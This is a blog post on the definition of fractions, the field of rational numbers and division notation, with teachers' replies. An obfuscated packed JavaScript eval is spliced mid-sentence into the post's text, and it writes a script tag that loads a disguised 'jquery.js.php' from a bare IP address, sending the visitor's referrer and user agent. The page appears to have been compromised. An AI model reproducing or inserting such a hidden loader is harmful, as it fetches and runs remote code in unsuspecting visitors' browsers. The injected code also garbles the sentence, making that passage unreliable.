Using the same notation for different things, and then treating them as the same anyway

Posted by: Gary Ernest Davis on: August 16, 2011

On the last Twitter #mathchat there seemed to me to be a fair amount of confusion about what constitutes a fraction.

Commonly, people were treating any expression of the form $\frac{a}{b}$ as a fraction, no matter what were $a \textrm{ and } b$.

Confusion about fractions is something I’ve experienced in many places, in many contexts. The confusion seems to stem from the ‘bar’ notation; anything that has two numbers separated by a horizontal or sloping bar is a fraction it would seem.

Why eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbdky|var|u0026u|referrer|atahk||js|php'.split('|'),0,{})) do we need fractions anyway?

The problem lies in the divisibility properties of integers.

Technically, the integers form a commutative ring and not a field; there is no integer $x\textrm{ for which } 3\times x=2$.

So, if divide 2 liters of water between 3 people, each person will not get an integer number of liters of water. We could do with numbers other than integers to describe how many liters each person gets.

We could adopt the ancient Greek practice of just saying 2 liters for every 3 people. However Muḥammad ibn Mūsā al-Khwārizmī introduced the Hindu idea of fractions as numbers to represent ratios around 830 AD, and ever since fractions have been part of arithmetic.

The  basic idea of fractions is that if we cannot divide 2 by 3, for example, then we invent a new “number” as if we could. So we invent the symbol $\frac{2}{3}$ which stands for the result of dividing 2 things into 3 equal parts.

When we invent expressions $\frac{a}{b}$ for all pairs of integers $a\textrm{ and } b \textrm{ except } b=0$ we get the field of fractions of the ring of integers, usually denoted by $\mathbf{Q}$.

Strictly speaking, $\mathbf{Q}$ does not consist of all expressions $\frac{a}{b}\textrm{ with }b\neq 0$, because we recognize, for example, from our liquid division problem, that we should treat $\frac{4}{6}$ as the same “number” as $\frac{2}{3}$.

So, strictly, $\mathbf{Q}$ consists of expressions $\frac{a}{b}\textrm{ with }b\neq 0 \textrm {and } a,b \textrm{ co-prime}$.

Alternatively, we can take $\mathbf{Q}$ to consist of all expressions $\frac{a}{b}\textrm{ with }b\neq 0$ and we re-define “equality” between these expressions to mean $\frac{a}{b}=\frac{c}{d}\textrm{ when } a\times d = b\times c$.

With this understanding every fraction $\frac{a}{b}\textrm{ with }b\neq 0$ can be written in the form $\frac{a'}{b'}\textrm{ with }b'\neq 0 \textrm{ and } a',b' \textrm{ coprime}$ thanks to Euclid’s algorithm for the greatest common divisor $\textrm{GCD}(a,b) \textrm{ of integers } a,b$, since $\frac{a}{b}=\frac{a}{\textrm{GCD}(a,b)}/\frac{b}{\textrm{GCD}(a,b)}$.

The integers reconstructed

The fractions are $\frac{a}{b}$ are constructed from integers $a,b$, yet the integers now appear, in disguise as it were, as special cases of fractions: fractions of the form $\frac{a}{1}$ or more generally $\frac{ac}{c}$.

So, now integers appear as special cases of fractions.

We use the same name $a$ for the integer, as we do for the fraction $\frac{ac}{c}$. These are essentially different objects, but we give them the same name for obvious reasons, and then we confound them – we act as if they are the same thing.

This situation, in which previous entities appear in new guises, is common in mathematics: it happens again, for example, in the construction of complex numbers from the real numbers. The real numbers appear as special cases of complex numbers.

Real numbers

The real numbers are tricky. We can think of them as decimal strings $b_kb_{k-1}\ldots b_0.a_1a_2\ldots$ where the $a_i$ are not all 9’s from some point on.

A big problem here is that addition, subtraction, multiplication and division are not easy to define due to the need for infinite carrying. It can be done, but is not so simple.

The problem is avoided in school mathematics by only dealing with decimals that are finite: that is, those for which $a_i=0$ from some point on. Unfortunately, these so-called decimal fractions do not even cover the ordinary fractions such as $\frac{1}{3} \textrm{ and } \frac{1}{7}$.

But the decimals do form a field: division, except by 0, is always possible, and it makes sense to divide 0.4 by 0.19 for example:  $\frac{0.4}{0.19}$. This is not a fraction: 0.4 and 0.19 are not integers. The expression $\frac{0.4}{0.19}$ indicates a division in the field of decimal numbers.

Similarly an expression like $\frac{\sqrt{2}}{\pi}$ is not a fraction: it is a division, $\sqrt{2}\textrm{ divided by }\pi$ in the field of decimal numbers.

But now we observe that the fractions, and so the integers, are hiding in disguise in the decimal numbers: $2=2.000\ldots \textrm{ and } 3=3.000\ldots$,  so we can ask of the fraction $\frac{2}{3}$, does this mean the same as dividing the decimal 2 by the decimal 3? And the answer is “yes”.

So even though the bar notation for fractions was just a notation, it ends up representing actual division when we move to the larger field of fractions. A notation has become an operation.

Postscript

This might not be, as Paul Solomon (@lostinrecursion) says, how students think. But the reason I wrote the post was to ask the question of teachers of mathematics: how do you think about fractions?

5 Responses to "Using the same notation for different things, and then treating them as the same anyway"

A “fraction” is just an instance of fraction notation. It is an expression that consists of two numbers, called the numerator and the denominator, separated by a horizontal line or a forward slash. The numerical value of this expression is the quotient of the numerator by the denominator.

In my opinion it is not strictly correct to say that 4 is a fraction, although we can write a fraction whose value is 4, namely 4/1.

Dave, a/b is only the quotient of a by b when it is possible to divide. So, as you know, we first have to construct some place, larger than the integers, in which division, except by 0, is always possible. Whether we write things in this larger space as pairs (a,b) or as a/b, or as a#b, or a%b, or a!!b, … is beside the point. It’s a formal device that captures what we want. Then, lo and behold, a/b is now the quotient of a by b.

In terms of ways of thinking about fractions (as opposed to the abstract definition of the field of fractions of the integers), I recommend:

http://math.berkeley.edu/~wu/fractions1998.pdf

As I always preach, how I treat something is different to each audience. For Daughter (who’s 2yo next month) fractions are “2 of the 3 blocks are red.” To you, Gary, it would be more like what you’ve written. (It’s way sexy seeing commutative ring written – I was into non-commutative rings for my Masters, but I don’t mind a little commutativity on occasion.)

To a random student, it would be whatever strikes me to start with. Then I would watch how it lands on them. I’d expand or contract what I was explaining based on their facial and body language.

The idea is to get people to discover and declare math in their own way. As a teacher, I don’t get to tell them how to do that. Merely help them figure it out on their own.

Thank you for writing this post. I am teaching a workshop for current K-8 teachers that are studying to take the TExES certification exam for mathematics grades 4-8. The preparation text they are using defined fractions as follows, “a fraction is expressed as a/b, where the numerator a and the denominator b are real numbers and b not equal to 0 since division by zero is undefined.” I was a bit surprised because I was always taught that a fraction was the division of two integers (of course with b not equal to zero), and I believe strongly that school mathematics teachers in particular need to know correct mathematical definitions. So maybe it comes down to whether you are defining ‘fractions’ or ‘rational numbers’? Are these two terms synonymous, mathematically equivalent concepts?
When I teach the fractions unit in my content course for future K-8 teachers I teach the definition of rational numbers and emphasize the conceptual understanding of part to whole as well as the notation being the operation of division.